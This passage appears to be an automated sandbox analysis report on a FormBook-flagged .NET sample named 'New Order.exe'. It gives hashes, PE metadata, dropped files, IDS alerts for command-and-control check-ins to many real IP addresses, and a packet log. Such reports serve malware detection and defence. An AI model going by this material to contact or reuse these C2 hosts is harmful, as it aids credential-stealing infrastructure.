Preview:	@...e.................................,..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\131E9KP

Process:	C:\Windows\SysWOW64\w32tm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0oe2ews5.h5f.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bucrjo41.ibg.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ctqrp4ua.2yj.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pfobkdz1.5zi.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.80512033123719
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	New Order.exe
File size:	764'928 bytes
MD5:	8ef36959a2cedc10c4c6036c2360e105
SHA1:	96c17b47e3bbcd645fdf24b3a7b3319848fb62ed
SHA256:	c8e6b3d94513f697d73e00d43476dddd0abdaf8d5cc6954a1218571dbccec61e
SHA512:	e29fd3578698f5092c74d5a4d1fb46507baaa09b5a0360d08ef02e67bcca7aa41318be0ba6bb30a81216e4c05ed7bdee45500fe346a13d60debeb76516256035
SSDEEP:	12288:tIR4R52J+Xtwg8SONPyA3RQgiP9nBdQyPieztFKN0fpEzPjQT12Yi2ktQfj9qI5w:tIeeCY5hvyPicFruzP8T1pipaf8I4
TLSH:	90F4124C1A5BE817CB8657340EB2F2B8167C2FDEE90092178FCDADEBF9399245E44185
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....pNg..............0..T...T......Rp... ........@.. ....................................@................................

File Icon


Icon Hash:	033424c4c199d839

Static PE Info

General

Entrypoint:	0x4b7052
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x674E70A1 [Tue Dec 3 02:44:49 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb7000	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb8000	0x4ca8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xbe000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb5058	0xb5400	189765fb2ee49f09b810dd6cfecc9f8a	False	0.9382933728448276	data	7.814379411138541	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb8000	0x4ca8	0x5000	843f3f08b881443c15ddd37cb4735d13	False	0.917626953125	data	7.667289957031235	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xbe000	0xc	0x400	e618e9f8eb8329922a32cb78cce734df	False	0.025390625	data	0.05585530805374581	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xb8100	0x46f9	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9932852661126094
RT_GROUP_ICON	0xbc80c	0x14	data	1.05
RT_VERSION	0xbc830	0x278	data	0.4699367088607595
RT_MANIFEST	0xbcab8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T14:38:32.568418+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	49830	13.248.169.48	80	TCP
2024-12-03T14:38:32.568418+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49830	13.248.169.48	80	TCP
2024-12-03T14:38:50.059697+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49870	154.90.35.240	80	TCP
2024-12-03T14:38:52.731586+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49876	154.90.35.240	80	TCP
2024-12-03T14:38:55.403519+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49883	154.90.35.240	80	TCP
2024-12-03T14:38:58.419961+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	49889	154.90.35.240	80	TCP
2024-12-03T14:38:58.419961+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49889	154.90.35.240	80	TCP
2024-12-03T14:39:05.373364+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49907	162.0.213.94	80	TCP
2024-12-03T14:39:07.975620+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49916	162.0.213.94	80	TCP
2024-12-03T14:39:10.678060+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49922	162.0.213.94	80	TCP
2024-12-03T14:39:13.325867+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	49928	162.0.213.94	80	TCP
2024-12-03T14:39:13.325867+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49928	162.0.213.94	80	TCP
2024-12-03T14:39:20.607420+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49946	68.66.226.92	80	TCP
2024-12-03T14:39:23.283014+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49953	68.66.226.92	80	TCP
2024-12-03T14:39:25.939581+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49960	68.66.226.92	80	TCP
2024-12-03T14:39:28.655512+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	49965	68.66.226.92	80	TCP
2024-12-03T14:39:28.655512+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49965	68.66.226.92	80	TCP
2024-12-03T14:39:35.823243+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49981	31.31.196.17	80	TCP
2024-12-03T14:39:38.497451+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49987	31.31.196.17	80	TCP
2024-12-03T14:39:41.282174+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49993	31.31.196.17	80	TCP
2024-12-03T14:39:43.826177+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50000	31.31.196.17	80	TCP
2024-12-03T14:39:43.826177+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50000	31.31.196.17	80	TCP
2024-12-03T14:39:51.245387+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50020	130.185.109.77	80	TCP
2024-12-03T14:39:53.834742+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50026	130.185.109.77	80	TCP
2024-12-03T14:39:56.580474+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50033	130.185.109.77	80	TCP
2024-12-03T14:39:59.181051+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50034	130.185.109.77	80	TCP
2024-12-03T14:39:59.181051+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50034	130.185.109.77	80	TCP
2024-12-03T14:40:09.460333+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50035	172.104.82.74	80	TCP
2024-12-03T14:40:12.133262+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50036	172.104.82.74	80	TCP
2024-12-03T14:40:14.950707+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50037	172.104.82.74	80	TCP
2024-12-03T14:40:17.522871+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50038	172.104.82.74	80	TCP
2024-12-03T14:40:17.522871+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50038	172.104.82.74	80	TCP
2024-12-03T14:40:24.558464+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50039	208.91.197.27	80	TCP
2024-12-03T14:40:27.217634+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50040	208.91.197.27	80	TCP
2024-12-03T14:40:29.803948+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50041	208.91.197.27	80	TCP
2024-12-03T14:40:33.049521+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50042	208.91.197.27	80	TCP
2024-12-03T14:40:33.049521+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50042	208.91.197.27	80	TCP
2024-12-03T14:40:40.658339+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50043	154.23.184.95	80	TCP
2024-12-03T14:40:43.325961+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50044	154.23.184.95	80	TCP
2024-12-03T14:40:45.997652+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50045	154.23.184.95	80	TCP
2024-12-03T14:40:48.765760+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50046	154.23.184.95	80	TCP
2024-12-03T14:40:48.765760+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50046	154.23.184.95	80	TCP
2024-12-03T14:40:55.729618+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50047	172.104.18.233	80	TCP
2024-12-03T14:40:58.365545+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50048	172.104.18.233	80	TCP
2024-12-03T14:41:01.169543+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50049	172.104.18.233	80	TCP
2024-12-03T14:41:03.845046+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50050	172.104.18.233	80	TCP
2024-12-03T14:41:03.845046+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50050	172.104.18.233	80	TCP
2024-12-03T14:41:11.120114+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50052	173.236.199.97	80	TCP
2024-12-03T14:41:13.842276+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50053	173.236.199.97	80	TCP
2024-12-03T14:41:16.416218+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50054	173.236.199.97	80	TCP
2024-12-03T14:41:19.134440+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50055	173.236.199.97	80	TCP
2024-12-03T14:41:19.134440+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50055	173.236.199.97	80	TCP
2024-12-03T14:41:26.888257+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50056	85.159.66.93	80	TCP
2024-12-03T14:41:29.560132+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50057	85.159.66.93	80	TCP
2024-12-03T14:41:32.232129+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50058	85.159.66.93	80	TCP
2024-12-03T14:41:34.704363+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50059	85.159.66.93	80	TCP
2024-12-03T14:41:34.704363+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50059	85.159.66.93	80	TCP
2024-12-03T14:41:51.013348+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50060	154.70.82.246	80	TCP
2024-12-03T14:41:55.487978+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50061	154.70.82.246	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 14:38:31.346998930 CET	49830	80	192.168.2.6	13.248.169.48
Dec 3, 2024 14:38:31.468313932 CET	80	49830	13.248.169.48	192.168.2.6
Dec 3, 2024 14:38:31.468410015 CET	49830	80	192.168.2.6	13.248.169.48
Dec 3, 2024 14:38:31.478219032 CET	49830	80	192.168.2.6	13.248.169.48
Dec 3, 2024 14:38:31.598704100 CET	80	49830	13.248.169.48	192.168.2.6
Dec 3, 2024 14:38:32.568223953 CET	80	49830	13.248.169.48	192.168.2.6
Dec 3, 2024 14:38:32.568267107 CET	80	49830	13.248.169.48	192.168.2.6
Dec 3, 2024 14:38:32.568418026 CET	49830	80	192.168.2.6	13.248.169.48
Dec 3, 2024 14:38:32.571538925 CET	49830	80	192.168.2.6	13.248.169.48
Dec 3, 2024 14:38:32.692073107 CET	80	49830	13.248.169.48	192.168.2.6
Dec 3, 2024 14:38:48.406497955 CET	49870	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:48.526650906 CET	80	49870	154.90.35.240	192.168.2.6
Dec 3, 2024 14:38:48.526735067 CET	49870	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:48.544800997 CET	49870	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:48.665044069 CET	80	49870	154.90.35.240	192.168.2.6
Dec 3, 2024 14:38:50.059696913 CET	49870	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:50.180695057 CET	80	49870	154.90.35.240	192.168.2.6
Dec 3, 2024 14:38:50.180807114 CET	49870	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:51.080250025 CET	49876	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:51.200483084 CET	80	49876	154.90.35.240	192.168.2.6
Dec 3, 2024 14:38:51.200577974 CET	49876	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:51.216475010 CET	49876	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:51.337771893 CET	80	49876	154.90.35.240	192.168.2.6
Dec 3, 2024 14:38:52.731585979 CET	49876	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:52.855032921 CET	80	49876	154.90.35.240	192.168.2.6
Dec 3, 2024 14:38:52.855125904 CET	49876	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:53.751060963 CET	49883	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:53.871260881 CET	80	49883	154.90.35.240	192.168.2.6
Dec 3, 2024 14:38:53.871371031 CET	49883	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:53.897022009 CET	49883	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:54.017333984 CET	80	49883	154.90.35.240	192.168.2.6
Dec 3, 2024 14:38:54.017350912 CET	80	49883	154.90.35.240	192.168.2.6
Dec 3, 2024 14:38:55.403518915 CET	49883	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:55.524308920 CET	80	49883	154.90.35.240	192.168.2.6
Dec 3, 2024 14:38:55.524391890 CET	49883	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:56.422401905 CET	49889	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:56.542499065 CET	80	49889	154.90.35.240	192.168.2.6
Dec 3, 2024 14:38:56.542680025 CET	49889	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:56.553672075 CET	49889	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:56.674776077 CET	80	49889	154.90.35.240	192.168.2.6
Dec 3, 2024 14:38:58.419655085 CET	80	49889	154.90.35.240	192.168.2.6
Dec 3, 2024 14:38:58.419821024 CET	80	49889	154.90.35.240	192.168.2.6
Dec 3, 2024 14:38:58.419960976 CET	49889	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:58.422933102 CET	49889	80	192.168.2.6	154.90.35.240
Dec 3, 2024 14:38:58.542964935 CET	80	49889	154.90.35.240	192.168.2.6
Dec 3, 2024 14:39:03.917500019 CET	49907	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:04.037640095 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:04.037727118 CET	49907	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:04.053203106 CET	49907	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:04.173197031 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.373219967 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.373302937 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.373321056 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.373363972 CET	49907	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:05.373498917 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.373543024 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.373569965 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.373581886 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.373590946 CET	49907	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:05.373625040 CET	49907	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:05.374119997 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.374170065 CET	49907	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:05.374237061 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.374391079 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.374430895 CET	49907	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:05.493640900 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.493715048 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.493803978 CET	49907	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:05.497605085 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.546094894 CET	49907	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:05.571007013 CET	49907	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:05.583853960 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.583914995 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.584021091 CET	49907	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:05.584125042 CET	49907	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:05.586432934 CET	80	49907	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:05.586502075 CET	49907	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:06.579389095 CET	49916	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:06.699434042 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:06.699537992 CET	49916	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:06.715790987 CET	49916	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:06.835930109 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:07.975531101 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:07.975573063 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:07.975588083 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:07.975620031 CET	49916	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:07.975733042 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:07.975747108 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:07.975758076 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:07.975797892 CET	49916	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:07.975955963 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:07.976114988 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:07.976126909 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:07.976170063 CET	49916	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:07.976305962 CET	80	49916	162.0.213.94	192.168.2.6
